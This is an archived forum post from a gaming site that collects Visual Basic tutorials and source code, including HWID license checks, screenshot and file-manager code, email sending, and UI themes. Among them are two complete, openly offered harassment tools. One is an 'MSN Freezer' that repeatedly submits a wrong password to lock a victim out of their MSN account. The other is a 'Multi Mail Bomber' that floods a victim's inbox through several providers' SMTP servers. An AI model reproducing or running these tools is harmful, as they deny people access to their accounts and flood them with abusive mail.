You are viewing our Forum Archives. To view or take place in current topics click here.
VB Tutorials + Source Codes + Templates
Posted:

VB Tutorials + Source Codes + TemplatesPosted:

Hehctic
  • TTG Senior
Status: Offline
Joined: Dec 28, 201013Year Member
Posts: 1,243
Reputation Power: 171
Status: Offline
Joined: Dec 28, 201013Year Member
Posts: 1,243
Reputation Power: 171
Sources

Icon Changer


Download Source: [ Register or Signin to view external links. ]


Login + HWID

You can use this code to prevent leaking. Each person using a specific program receives a license that will only work with their computer by detecting the unique processor-ID of a computer.

First you need to create a simple program that detects the processor ID. Only needs 1 button and 1 textbox.

Use this code:
Imports System
Imports System.Management

Public Class Form1

    Private Sub btnCPUID_Click_1(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnCPUID.Click
     
If txtCPUID.Text = "" Then


            Dim strProcessorId As String = String.Empty
            Dim query As New SelectQuery("Win32_processor")
            Dim search As New ManagementObjectSearcher(query)
            Dim info As ManagementObject

            For Each info In search.Get()
                strProcessorId = info("processorId").ToString()
            Next
            txtCPUID.Text = strProcessorId
        End If
    End Sub
End Class


Open the project for which you want to add a login form.

Go to project - add Windows Form - Login Form

Code:
Imports System.IO
Imports System.Management
Public Class LoginForm1
    'License verification
    Private Sub LoginForm1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Dim LicenseExists As New IO.FileInfo(CurDir() + "/License.dat")
        If LicenseExists.Exists = False Then
            MsgBox("You do not have a license for this program!", MsgBoxStyle.OkOnly, "Unauthorized")
            Me.Close()
        End If
    End Sub


    Private Sub Cancel_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Cancel.Click
        'Exit
        Application.Exit()
        End
    End Sub


    Private Sub OK_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles OK.Click
        'Login declarations
        Dim LogInFail As Integer
        Dim Login As New System.IO.StreamReader(CurDir() + "/License.dat")
        Dim Username As String = Login.ReadLine
        Dim Password As String = Login.ReadLine()
        Dim Copyright As String = Login.ReadLine()
        Dim License As String = Login.ReadLine()

        Dim strProcessorId As String = String.Empty
        Dim query As New SelectQuery("Win32_processor")
        Dim search As New ManagementObjectSearcher(query)
        Dim info As ManagementObject

        For Each info In search.Get()
            strProcessorId = info("processorId").ToString()
        Next

        If License <> strProcessorId Then
            MsgBox("Your license appears to be corrupt", MsgBoxStyle.Critical, "License")
            Application.Exit()
        End If

        'Username and Pass are correct
        If UsernameTextBox.Text = Username And PasswordTextBox.Text = Password And Copyright = "[color=#FF0000]Hackforums.net[/color]" And License = strProcessorId Then
            MsgBox("Login succesful!", MsgBoxStyle.Information, "Welcome")
            UsernameTextBox.Text = ""
            PasswordTextBox.Text = ""
            Form1.Show()
            Me.Visible = False


            'Username and Pass are incorrect
        Else : MsgBox("Incorrect password and/or username!", MsgBoxStyle.Critical, "Error")
            LogInFail = LogInFail + 1
        End If

        'After 3 attempts to login close form
        If LogInFail = 3 Then
            LogInFail = 0
            MsgBox("You have failed to login, program will be closed.", MsgBoxStyle.Critical, "Error")
            Me.Close()
        End If
    End Sub
End Class


If the person wants to use your program he first needs to dl the processor-id generator and send you the code it generates.

Next you're going to write up a license for that person.

Open notepad and write:
First line: The username of the person that's going to use your program
Second line: The password the user is going to need to login.
Third line: Anything you want. Just make sure you change where it says "Hackforums.net" so that it's the same as the third line of the license.
Fourth line: The user's processor-ID

Then save it as License.dat and send it to the user with his login details and tell him to place it in the same folder as the program.

If you study and understand the code you'll be able to create a much more complex system e.g. add more lines and make them complex, combine it with HWID etc.

For HWID:

 Dim Ldisk As New ManagementObject("Win32_LogicalDisk.DeviceID=""C:""")
Dim HWID As PropertyData = Ldisk.Properties("VolumeSerialNumber")


MSN Freezer

[spoil]
- Open Visual Basic 2008
- Open new project and call it whatever you like
- Make 1 textbox
- Make a checkbox with text "Hide"
- Make 2 buttons with text "Freeze" and "Unfreeze"
- Make a webbrowser with visible set FALSE and set url: "http://mobile.msn.com/hm/folder.phpx".
- Make 3labels with label1 text set. "MSN Adress", label2: "Status" and the last one with nothing "".
- Make a timer with Enabled set FALSE and Interval set 100.
- Now double click on the Form and remove all text
and then paste this code:
Imports System.Threading.Thread
Public Class Form1

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        WebBrowser1.Navigate("http://mobile.msn.com/hm/folder.phpx")

    End Sub

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        Timer1.Enabled = True
        Label3.Text = "Freezing..."
    End Sub

    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        On Error GoTo errordetected
        WebBrowser1.Document.GetElementById("LoginTextBox").SetAttribute("value", (TextBox1.Text))
        WebBrowser1.Document.GetElementById("PasswordTextBox").SetAttribute("value", ("pas13465"))
        Sleep(2000)
        WebBrowser1.Document.GetElementById("PasswordSubmit").InvokeMember("click")

        GoTo done
errordetected:
        Label3.Text = "Frozen!"
        WebBrowser1.Navigate("http://mobile.msn.com/hm/folder.phpx")
done:

    End Sub

    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
        Label3.Text = "Ready"
        MsgBox("MSN UnFrozen!")
        Timer1.Enabled = False
    End Sub

    Private Sub CheckBox1_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox1.CheckedChanged
        If CheckBox1.Checked = True Then
            Me.Hide()
        End If
    End Sub
End Class



Shaking Forum

1.Make New Project in VB.NET
2.Place a button on the form.
3.Double click a button.
4.Type in this code:

Dim a As Integer
While a < 10
Me.Location = New Point(Me.Location.X + 20, Me.Location.Y)
System.Threading.Thread.Sleep(50)
Me.Location = New Point(Me.Location.X - 20, Me.Location.Y)
System.Threading.Thread.Sleep(50)
a += 1
End While


If you want to change shanking duration, edit this line of code(replace 10 with some other number):
While a < 10


If you want to change interval between shakes, edit this lines(replace number 50 with some other number):
System.Threading.Thread.Sleep(50)



Screen Shot
Public Shared Sub Screenshot(ByVal Form As Form, ByVal PictureBox As PictureBox, Optional ByVal Shown As Boolean = False)
        Select Case Shown
            Case True
                Dim ScreenSize As Size = New Size(My.Computer.Screen.Bounds.Width, My.Computer.Screen.Bounds.Height)
                Dim Grab As New Bitmap(My.Computer.Screen.Bounds.Width, My.Computer.Screen.Bounds.Height)
                Dim Screen As System.Drawing.Graphics = System.Drawing.Graphics.FromImage(Grab)
                Screen.CopyFromScreen(New Point(0, 0), New Point(0, 0), ScreenSize)
                PictureBox.Image = Grab
            Case False
                Dim OrigOpacity As Integer = Form.Opacity
                Form.Opacity = 0
                Dim ScreenSize As Size = New Size(My.Computer.Screen.Bounds.Width, My.Computer.Screen.Bounds.Height)
                Dim Grab As New Bitmap(My.Computer.Screen.Bounds.Width, My.Computer.Screen.Bounds.Height)
                Dim Screen As System.Drawing.Graphics = System.Drawing.Graphics.FromImage(Grab)
                Screen.CopyFromScreen(New Point(0, 0), New Point(0, 0), ScreenSize)
                PictureBox.Image = Grab
                Form.Opacity = OrigOpacity
        End Select
    End Sub
[spoil]

Check HWID

[spoil]
get hwid :
 Imports System.Management

Public Class Form1

    Private Sub Button1_Click_1(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        Dim cpuInfo As String = String.Empty
        Dim mc As New ManagementClass("win32_processor")
        Dim moc As ManagementObjectCollection = mc.GetInstances()

        For Each mo As ManagementObject In moc
            If cpuInfo = "" Then
                cpuInfo = mo.Properties("processorID").Value.ToString()
                Exit For
            End If
        Next

        TextBox1.Text = cpuInfo
    End Sub
End Class



Use hwid :
 Imports System.Management

Public Class Form1
    Public hwid As String = "yourhwid"
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Dim cpuInfo As String = String.Empty
        Dim mc As New ManagementClass("win32_processor")
        Dim moc As ManagementObjectCollection = mc.GetInstances()

        For Each mo As ManagementObject In moc
            If cpuInfo = "" Then
                cpuInfo = mo.Properties("processorID").Value.ToString()
                Exit For
            End If
        Next

        If cpuInfo <> hwid Then
            MsgBox("Bad HWID verification, application will close")
            Application.Exit()
        End If
    End Sub
End Class


Or

Download: [ Register or Signin to view external links. ]


File Manager
[ Register or Signin to view external links. ]

Imports System.IO

Imports System.Windows.Forms

public class TreeViewFileFolderFileAttribute
   public Shared Sub Main
        Application.Run(New PioneerForm)
   End Sub
End class

Public Class PioneerForm
    Inherits System.Windows.Forms.Form

#Region " Windows Form Designer generated code "

    Public Sub New()
        MyBase.New()

        'This call is required by the Windows Form Designer.
        InitializeComponent()

        'Add any initialization after the InitializeComponent() call

    End Sub

    'Form overrides dispose to clean up the component list.
    Protected Overloads Overrides Sub Dispose(ByVal disposing As Boolean)
        If disposing Then
            If Not (components Is Nothing) Then
                components.Dispose()
            End If
        End If
        MyBase.Dispose(disposing)
    End Sub
    Friend WithEvents tvwFolders As System.Windows.Forms.TreeView
    Friend WithEvents splView As System.Windows.Forms.Splitter
    Friend WithEvents lvwFiles As System.Windows.Forms.ListView
    Friend WithEvents hdrName As System.Windows.Forms.ColumnHeader
    Friend WithEvents hdrModified As System.Windows.Forms.ColumnHeader
    Friend WithEvents hdrAttributes As System.Windows.Forms.ColumnHeader

    'Required by the Windows Form Designer
    Private components As System.ComponentModel.Container

    'NOTE: The following procedure is required by the Windows Form Designer
    'It can be modified using the Windows Form Designer. 
    'Do not modify it using the code editor.
    <System.Diagnostics.DebuggerStepThrough()> Private Sub InitializeComponent()
        Me.splView = New System.Windows.Forms.Splitter()
        Me.lvwFiles = New System.Windows.Forms.ListView()
        Me.tvwFolders = New System.Windows.Forms.TreeView()
        Me.hdrName = New System.Windows.Forms.ColumnHeader()
        Me.hdrAttributes = New System.Windows.Forms.ColumnHeader()
        Me.hdrModified = New System.Windows.Forms.ColumnHeader()
        Me.SuspendLayout()
        '
        'splView
        '
        Me.splView.Location = New System.Drawing.Point(121, 0)
        Me.splView.Name = "splView"
        Me.splView.Size = New System.Drawing.Size(4, 327)
        Me.splView.TabIndex = 1
        Me.splView.TabStop = False
        '
        'lvwFiles
        '
        Me.lvwFiles.Columns.AddRange(New System.Windows.Forms.ColumnHeader() {Me.hdrName, Me.hdrAttributes, Me.hdrModified})
        Me.lvwFiles.Dock = System.Windows.Forms.DockStyle.Fill
        Me.lvwFiles.Location = New System.Drawing.Point(125, 0)
        Me.lvwFiles.Name = "lvwFiles"
        Me.lvwFiles.Size = New System.Drawing.Size(349, 327)
        Me.lvwFiles.TabIndex = 2
        Me.lvwFiles.View = System.Windows.Forms.View.Details
        '
        'tvwFolders
        '
        Me.tvwFolders.Dock = System.Windows.Forms.DockStyle.Left
        Me.tvwFolders.ImageIndex = -1
        Me.tvwFolders.Name = "tvwFolders"
        Me.tvwFolders.SelectedImageIndex = -1
        Me.tvwFolders.Size = New System.Drawing.Size(121, 327)
        Me.tvwFolders.TabIndex = 0
        '
        'hdrName
        '
        Me.hdrName.Text = "File Name"
        Me.hdrName.Width = 180
        '
        'hdrAttributes
        '
        Me.hdrAttributes.Text = "Attributes"
        Me.hdrAttributes.TextAlign = System.Windows.Forms.HorizontalAlignment.Center
        '
        'hdrModified
        '
        Me.hdrModified.Text = "Last Modified"
        Me.hdrModified.TextAlign = System.Windows.Forms.HorizontalAlignment.Right
        Me.hdrModified.Width = 80
        '
        'PioneerForm
        '
        Me.AutoScaleBaseSize = New System.Drawing.Size(5, 13)
        Me.ClientSize = New System.Drawing.Size(474, 327)
        Me.Controls.AddRange(New System.Windows.Forms.Control() {Me.lvwFiles, Me.splView, Me.tvwFolders})
        Me.Name = "PioneerForm"
        Me.Text = "Pioneer"
        Me.ResumeLayout(False)

    End Sub

#End Region

    Private Sub PioneerForm_Load(ByVal sender As System.Object, _
        ByVal e As System.EventArgs) _
        Handles MyBase.Load

        'add drives to the treeview
        Dim sDrives() As String = Directory.GetLogicalDrives()
        Dim sDrive As String
        Dim tvwNode As TreeNode

        For Each sDrive In sDrives
            tvwNode = tvwFolders.Nodes.Add(sDrive)
            'add a dummy node
            tvwNode.Nodes.Add("dummy")
        Next

    End Sub

    Private Sub tvwFolders_BeforeExpand(ByVal sender As Object, _
        ByVal e As System.Windows.Forms.TreeViewCancelEventArgs) _
        Handles tvwFolders.BeforeExpand

        'see if we already know what the children are
        '   (we don't if there is still a dummy there)
        Dim oNode As TreeNode = CType(e.Node, TreeNode)
        If oNode.Nodes(0).Text = "dummy" Then
            'remove the dummy
            oNode.Nodes(0).Remove()
            'add the real children
            GetChildren(oNode)
        End If
    End Sub

    Private Sub tvwFolders_AfterSelect(ByVal sender As Object, _
        ByVal e As System.Windows.Forms.TreeViewEventArgs) _
        Handles tvwFolders.AfterSelect

        Dim sFiles() As String = Directory.GetFiles(tvwFolders.SelectedNode.FullPath)
        Dim sFile As String
        Dim oItem As ListViewItem

        lvwFiles.Items.Clear()

        For Each sFile In sFiles
            oItem = lvwFiles.Items.Add(StripPath(sFile))
            If lvwFiles.Items.Count > 0 Then
                oItem.SubItems.Add(GetAttributeString(sFile))
                oItem.SubItems.Add(File.GetLastWriteTime(sFile))
            End If
        Next
    End Sub

    Private Sub GetChildren(ByVal node As TreeNode)
        Dim sDirs() As String = Directory.GetDirectories(node.FullPath)
        Dim sDir As String
        Dim oNode As TreeNode

        For Each sDir In sDirs
            oNode = node.Nodes.Add(StripPath(sDir))
            'add a dummy node as a child
            oNode.Nodes.Add("dummy")
        Next
    End Sub

    Private Function GetAttributeString(ByVal fileName As String) As String
        Dim sReturn As String
        Dim oAttr As FileAttributes = File.GetAttributes(fileName)
        If (oAttr And FileAttributes.ReadOnly) = FileAttributes.ReadOnly Then
            sReturn = "R"
        Else
            sReturn = "-"
        End If

        If (oAttr And FileAttributes.Hidden) = FileAttributes.Hidden Then
            sReturn += "H"
        Else
            sReturn += "-"
        End If

        If (oAttr And FileAttributes.System) = FileAttributes.System Then
            sReturn += "S"
        Else
            sReturn += "-"
        End If

        Return sReturn

    End Function

    Private Function StripPath(ByVal path As String) As String
        'removes the leading path from the filename
        Dim iPos As Integer
        'find the last \ character
        iPos = path.LastIndexOf("\")
        'everything after it is the actual filename
        Return path.Substring(iPos + 1)
    End Function
End Class



Make Your Own Zip
[ Register or Signin to view external links. ]

Imports:
Imports System.IO.Packaging


Source Code:
Dim zipPath As String = "C:\TEMP\Compression\myzip.zip"
    Dim fileToAdd As String = "C:\TEMP\Compression\Compress Me.txt"

    'Open the zip file if it exists, else create a new one
    Dim zip As Package = ZipPackage.Open(zipPath, _
              IO.FileMode.OpenOrCreate, IO.FileAccess.ReadWrite)

    'Replace spaces with an underscore (_)
    Dim uriFileName As String = fileToAdd.Replace(" ", "_")

    'A Uri always starts with a forward slash "/"
    Dim zipUri As String = String.Concat("/", _
              IO.Path.GetFileName(uriFileName))

    Dim partUri As New Uri(zipUri, UriKind.Relative)
    Dim contentType As String = _
              Net.Mime.MediaTypeNames.Application.Zip

    'The PackagePart contains the information:
    ' Where to extract the file when it's extracted (partUri)
    ' The type of content stream (MIME type) - (contentType)
    ' The type of compression to use (CompressionOption.Normal)
    Dim pkgPart As PackagePart = _
              zip.CreatePart(partUri, contentType, _
              CompressionOption.Normal)

    'Read all of the bytes from the file to add to the zip file
    Dim bites As Byte() = File.ReadAllBytes(fileToAdd)

    'Compress and write the bytes to the zip file
    pkgPart.GetStream().Write(bites, 0, bites.Length)

    zip.Close() 'Close the zip file
Private Sub ZipFiles()

        Dim zipPath As String = "C:\TEMP\Compression\myzip.zip"

        'Open the zip file if it exists, else create a new one
         Dim zip As Package = ZipPackage.Open(zipPath, _
              IO.FileMode.OpenOrCreate, IO.FileAccess.ReadWrite)

        'Add as many files as you like:
        AddToArchive(zip, "C:\TEMP\Compression\Compress Me1.txt")
        AddToArchive(zip, "C:\TEMP\Compression\Compress Me2.txt")
        AddToArchive(zip, "C:\TEMP\Compression\Compress Me3.txt")

        zip.Close() 'Close the zip file

    End Sub


    Private Sub AddToArchive(ByVal zip As Package, _
                         ByVal fileToAdd As String)

        'Replace spaces with an underscore (_)
        Dim uriFileName As String = fileToAdd.Replace(" ", "_")

        'A Uri always starts with a forward slash "/"
        Dim zipUri As String = String.Concat("/", _
                   IO.Path.GetFileName(uriFileName))

        Dim partUri As New Uri(zipUri, UriKind.Relative)
        Dim contentType As String = _
                   Net.Mime.MediaTypeNames.Application.Zip

        'The PackagePart contains the information:
        ' Where to extract the file when it's extracted (partUri)
        ' The type of content stream (MIME type):  (contentType)
        ' The type of compression:  (CompressionOption.Normal) 
        Dim pkgPart As PackagePart = zip.CreatePart(partUri, _
                   contentType, CompressionOption.Normal)

        'Read all of the bytes from the file to add to the zip file
        Dim bites As Byte() = File.ReadAllBytes(fileToAdd)

        'Compress and write the bytes to the zip file
        pkgPart.GetStream().Write(bites, 0, bites.Length)

    End Sub



Get Website IP
All of you guys that think you can hack and ip or steal a website with an ip, are stupid... Not many people are that stupid anymore, so I don't think that will be a problem, this is not to harm and website!

Imports System.Net

Public Class Form1

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        Try
            If TextSite.Text.Contains("http://") Then
                Dim iphe As IPHostEntry = Dns.GetHostEntry(TextSite.Text.Replace("http://", String.Empty))
                TextIp.Text = iphe.AddressList(0).ToString()
            Else
                Dim iphe As IPHostEntry = Dns.GetHostEntry(TextSite.Text)
                TextIp.Text = iphe.AddressList(0).ToString()
            End If
        Catch ex As Exception
            MsgBox(ex)
        End Try
    End Sub
End Class


Send Email

 Dim SetUPMAIL As New MailMessage()
Try
SetUPMAIL.From = New MailAddress(''[email protected]")
SetUPMAIL.To.Add("[email protected]")
SetUPMAIL.Subject = TextBox1.Text
SetUPMAIL.Body = TextBox2.Text
Dim SMTP As New SmtpClient("smtp.googlemail.com")
SMTP.Port = 587
SMTP.EnableSsl = True
SMTP.Credentials = New System.Net.NetworkCredential("[email protected]", "GOOGLEMAILPASSWORD")

SMTP.Send(SetUPMAIL)



Add Paypal Button To App

1. First thing you will need to create a paypal button (donate,buy or others). Find a paypal picture (donate etc...)
2. Open Visual Basic 2008 or 2010 and name your project what ever you want.
3. Create a new picturebox in your form.
4. Right click and click on "choose picture". Import your picture donate, buy or others and click OK.
5. Double click on the picture box and add this code:
 Process.Start("Add your donate link or others here !")


Or

Download: [ Register or Signin to view external links. ]

I suggest not downloading so you can practice and get better with visual Basics


Multi Mail Bomber
Imports System.Net.Mail
Public Class FrmMain

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        If txtuser.Text = "" = True Then
            MsgBox("The username of e-mail address or password is incorrect. Please try again.", MsgBoxStyle.Critical, "Error")
            Exit Sub
        ElseIf txtpass.Text = "" = True Then
            MsgBox("The username of e-mail address or password is incorrect. Please try again.", MsgBoxStyle.Critical, "Error")
            Exit Sub
        End If

        If server.Text = "smtp.gmail.com" Then
            Gmail.Start()
            Button2.Enabled = True
            txtuser.Enabled = False
            txtpass.Enabled = False
            txtsubj.Enabled = False
            txtmsg.Enabled = False
            server.Enabled = False
            Button1.Enabled = False
            txtvictim.Enabled = False
        ElseIf server.Text = "smtp.live.com" Then
            Hotmail.Start()
            Button2.Enabled = True
            txtuser.Enabled = False
            txtpass.Enabled = False
            txtsubj.Enabled = False
            txtmsg.Enabled = False
            server.Enabled = False
            Button1.Enabled = False
            txtvictim.Enabled = False
        ElseIf server.Text = "smtp.uk.aol.com" Then
            AOL.Start()
            Button2.Enabled = True
            txtuser.Enabled = False
            txtpass.Enabled = False
            txtsubj.Enabled = False
            txtmsg.Enabled = False
            server.Enabled = False
            Button1.Enabled = False
            txtvictim.Enabled = False
        ElseIf server.Text = "plus.smtp.mail.yahoo.com" Then
            Yahoo.Start()
            Button2.Enabled = True
            txtuser.Enabled = False
            txtpass.Enabled = False
            txtsubj.Enabled = False
            txtmsg.Enabled = False
            server.Enabled = False
            Button1.Enabled = False
            txtvictim.Enabled = False
        End If
        Exit Sub
    End Sub

    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
        Gmail.Stop()
        Yahoo.Stop()
        Hotmail.Stop()
        AOL.Stop()
        txtuser.Enabled = True
        txtpass.Enabled = True
        txtsubj.Enabled = True
        txtmsg.Enabled = True
        server.Enabled = True
        Button1.Enabled = True
        txtvictim.Enabled = True
        Button2.Enabled = False
    End Sub

    Private Sub Gmail_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Gmail.Tick
        Dim mail As New MailMessage
        mail.To.Add(txtvictim.Text)
        mail.From = New MailAddress(txtuser.Text)
        mail.Subject = txtsubj.Text
        mail.Body = txtmsg.Text
        Dim SMTP As New SmtpClient(server.Text)
        SMTP.Port = 587
        SMTP.EnableSsl = True
        SMTP.Credentials = New System.Net.NetworkCredential(txtuser.Text, txtpass.Text)
        MailZ.Text = Val(MailZ.Text + 1)
        SMTP.Send(mail)

    End Sub

    Private Sub Yahoo_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Yahoo.Tick
        Dim mail As New MailMessage
        mail.To.Add(txtvictim.Text)
        mail.From = New MailAddress(txtuser.Text)
        mail.Subject = txtsubj.Text
        mail.Body = txtmsg.Text
        Dim SMTP As New SmtpClient(server.Text)
        SMTP.Port = 465
        SMTP.EnableSsl = True
        SMTP.Credentials = New System.Net.NetworkCredential(txtuser.Text, txtpass.Text)
        MailZ.Text = Val(MailZ.Text + 1)
        SMTP.Send(mail)

    End Sub

    Private Sub AOL_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles AOL.Tick
        Dim mail As New MailMessage
        mail.To.Add(txtvictim.Text)
        mail.From = New MailAddress(txtuser.Text)
        mail.Subject = txtsubj.Text
        mail.Body = txtmsg.Text
        Dim SMTP As New SmtpClient(server.Text)
        SMTP.Port = 587
        SMTP.EnableSsl = True
        SMTP.Credentials = New System.Net.NetworkCredential(txtuser.Text, txtpass.Text)
        MailZ.Text = Val(MailZ.Text + 1)
        SMTP.Send(mail)
    End Sub

    Private Sub Hotmail_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Hotmail.Tick
        Dim mail As New MailMessage
        mail.To.Add(txtvictim.Text)
        mail.From = New MailAddress(txtuser.Text)
        mail.Subject = txtsubj.Text
        mail.Body = txtmsg.Text
        Dim SMTP As New SmtpClient(server.Text)
        SMTP.Port = 25
        SMTP.EnableSsl = True
        SMTP.Credentials = New System.Net.NetworkCredential(txtuser.Text, txtpass.Text)
        MailZ.Text = Val(MailZ.Text + 1)
        SMTP.Send(mail)
    End Sub


    Private Sub txtsubject_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        txtpass.UseSystemPasswordChar = True
    End Sub

    Private Sub server_SelectedIndexChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles server.SelectedIndexChanged
        If server.Text = "smtp.gmail.com" Then
            txtuser.Text = "@gmail.com"
        ElseIf server.Text = "smtp.live.com" Then
            txtuser.Text = "@hotmail.com"
        ElseIf server.Text = "smtp.uk.aol.com" Then
            txtuser.Text = "@aol.com"
        ElseIf server.Text = "plus.smtp.mail.yahoo.com" Then
            txtuser.Text = "@yahoo.com"
        End If
    End Sub
End Class



Or

Download Here: [ Register or Signin to view external links. ]


Make Your Own Screen Recorder
Picturebox1
Timer1 = Interval: 600

Timer1:
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        Dim BackUpClipboard As String = My.Computer.Clipboard.GetText
        SendKeys.Send("{PRTSC}")
        PictureBox1.Image = My.Computer.Clipboard.GetImage
    End Sub


Form1:
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Timer1.Start()
    End Sub


Full Source Code:
Public Class Form1

    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        Dim BackUpClipboard As String = My.Computer.Clipboard.GetText
        SendKeys.Send("{PRTSC}")
        PictureBox1.Image = My.Computer.Clipboard.GetImage
    End Sub

    Private Sub PictureBox1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles PictureBox1.Click

    End Sub


    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Timer1.Start()
    End Sub
End Class



Or

Download: [ Register or Signin to view external links. ]


-------------------------------------


-------------------------------------

Videos

[ Register or Signin to view external links. ]
[ Register or Signin to view external links. ]
[ Register or Signin to view external links. ]
[ Register or Signin to view external links. ]
[ Register or Signin to view external links. ]
[ Register or Signin to view external links. ]
[ Register or Signin to view external links. ]
[ Register or Signin to view external links. ]
[ Register or Signin to view external links. ]
[ Register or Signin to view external links. ]
[ Register or Signin to view external links. ]
[ Register or Signin to view external links. ]
[ Register or Signin to view external links. ]
[ Register or Signin to view external links. ]
[ Register or Signin to view external links. ]
[ Register or Signin to view external links. ]
[ Register or Signin to view external links. ]
[ Register or Signin to view external links. ]
[ Register or Signin to view external links. ]
[ Register or Signin to view external links. ]
[ Register or Signin to view external links. ]
[ Register or Signin to view external links. ]
[ Register or Signin to view external links. ]
[ Register or Signin to view external links. ]
[ Register or Signin to view external links. ]
[ Register or Signin to view external links. ]
[ Register or Signin to view external links. ]
[ Register or Signin to view external links. ]
[ Register or Signin to view external links. ]
[ Register or Signin to view external links. ]
[ Register or Signin to view external links. ]
[ Register or Signin to view external links. ]
[ Register or Signin to view external links. ]
[ Register or Signin to view external links. ]
[ Register or Signin to view external links. ]
[ Register or Signin to view external links. ]
[ Register or Signin to view external links. ]
[ Register or Signin to view external links. ]
[ Register or Signin to view external links. ]
[ Register or Signin to view external links. ]
[ Register or Signin to view external links. ]
[ Register or Signin to view external links. ]
[ Register or Signin to view external links. ]
[ Register or Signin to view external links. ]
[ Register or Signin to view external links. ]
[ Register or Signin to view external links. ]
[ Register or Signin to view external links. ]
[ Register or Signin to view external links. ]
[ Register or Signin to view external links. ]
[ Register or Signin to view external links. ]
[ Register or Signin to view external links. ]
[ Register or Signin to view external links. ]
[ Register or Signin to view external links. ]
[ Register or Signin to view external links. ]
[ Register or Signin to view external links. ]
[ Register or Signin to view external links. ]
[ Register or Signin to view external links. ]


-------------------------------------


-------------------------------------

Themes

How To Use These Themes
1.) Create or open an existing VB application.
2.) Add a new class to your project.
3.) Replace all of the code inside the new document with the appropriate code.
4.) Build your project; if you don't build the controls they won't be in your toolbox.
5.) Drag n' drop!


Genuine Theme
Source:
[ Register or Signin to view external links. ]
[ Register or Signin to view external links. ]

[ Register or Signin to view external links. ]



Modern, Pearl, and Electron Themes
Source:
[ Register or Signin to view external links. ]
[ Register or Signin to view external links. ]

[ Register or Signin to view external links. ]
[ Register or Signin to view external links. ]
[ Register or Signin to view external links. ]



Visual Studio Theme
[ Register or Signin to view external links. ]

[ Register or Signin to view external links. ]



Future Theme
[ Register or Signin to view external links. ]

[ Register or Signin to view external links. ]



Bullion Theme
[ Register or Signin to view external links. ]

[ Register or Signin to view external links. ]



Fusion Theme
[ Register or Signin to view external links. ]

[ Register or Signin to view external links. ]



QnA For Themes
Questions and Answers


Question: What controls come with the themes? Why are some missing?
Answer: What you see is what you get.

Question: How long did it take you to make these?
Answer: One day, excluding the newest one (#3) which took two days.

Question: How do you make them?
Answer: With a good understanding of GDI+, image editing software such as Paint .Net or Photoshop, and a bit of creativity.

Question: Will you ever make more?
Answer: Probably, when I have some free time and some inspiration.

Question: Help! I just added a theme to my program and all my stuff disapeared!!
Answer: Right click the theme on your form and "Send to Back".

Question: I'm getting an "Variable undeclared or never assigned." error!
Answer: Close the form tab, build your project, and re-open the form. This should fix the error if it is being caused by the theme.

Question: I am getting like 50 errors when I view the code!
Answer: Sorry, I coded experiments #1 and #2 with option strict off. You will need to turn it off or fix the errors yourself with proper declarations.

Question: I get a "Can be designed, but is not the first class" error when I double click on the theme file.
Answer: Don't double click on it, that opens the designer. you will need to right-click it and view code.

Question: Why can't I resize the form anymore?
Answer: This functionality has not been implemented yet. You can still resize in design mode by right clicking the theme, selecting the form, and resizing that.

Question: Why does your font color suck so bad?
Answer: Perhaps due to laziness, by time I get to that part I have been working on it all day and just want to finish. It is also difficult to make a decision that everyone will agree with. It is open source though, so edit to your little hearts desire!

Question: That is so cool, how did you get that animated picture on the demonstration!?
Answer: It is called a .gif; I record a small video and render it in Camtasia Studio as a GIF Animation.



I did not write any of these codes, or make any of the videos! These were created by different members on other sites.

Did I copy and paste: The source codes I did... But did not copy this whole post..

If you need help or want an amazing HWID program pm me!


Last edited by Hehctic ; edited 1 time in total

The following 4 users thanked Hehctic for this useful post:

koot (03-23-2011), jakerose234 (03-22-2011), TheMatty1996 (03-22-2011), kyleskidz2010 (03-22-2011)
#2. Posted:
Siqned
  • Resident Elite
Status: Offline
Joined: Mar 15, 201113Year Member
Posts: 287
Reputation Power: 13
Status: Offline
Joined: Mar 15, 201113Year Member
Posts: 287
Reputation Power: 13
OMG! this will help soo many people. Mst of taken you a long time :p. Deserves a sticky!
#3. Posted:
Coca_Cola
  • TTG Fanatic
Status: Offline
Joined: Sep 10, 201014Year Member
Posts: 4,136
Reputation Power: 29
Status: Offline
Joined: Sep 10, 201014Year Member
Posts: 4,136
Reputation Power: 29
wow, nice post dude xD
looks amazing will help allot of people
i guess this is what you have been working for the past 3 hours then xD
:LL
#4. Posted:
Hehctic
  • TTG Senior
Status: Offline
Joined: Dec 28, 201013Year Member
Posts: 1,243
Reputation Power: 171
Status: Offline
Joined: Dec 28, 201013Year Member
Posts: 1,243
Reputation Power: 171
thanks I hope this will help some people...
#5. Posted:
Gavin_Garner
  • TTG Senior
Status: Offline
Joined: Jun 10, 201014Year Member
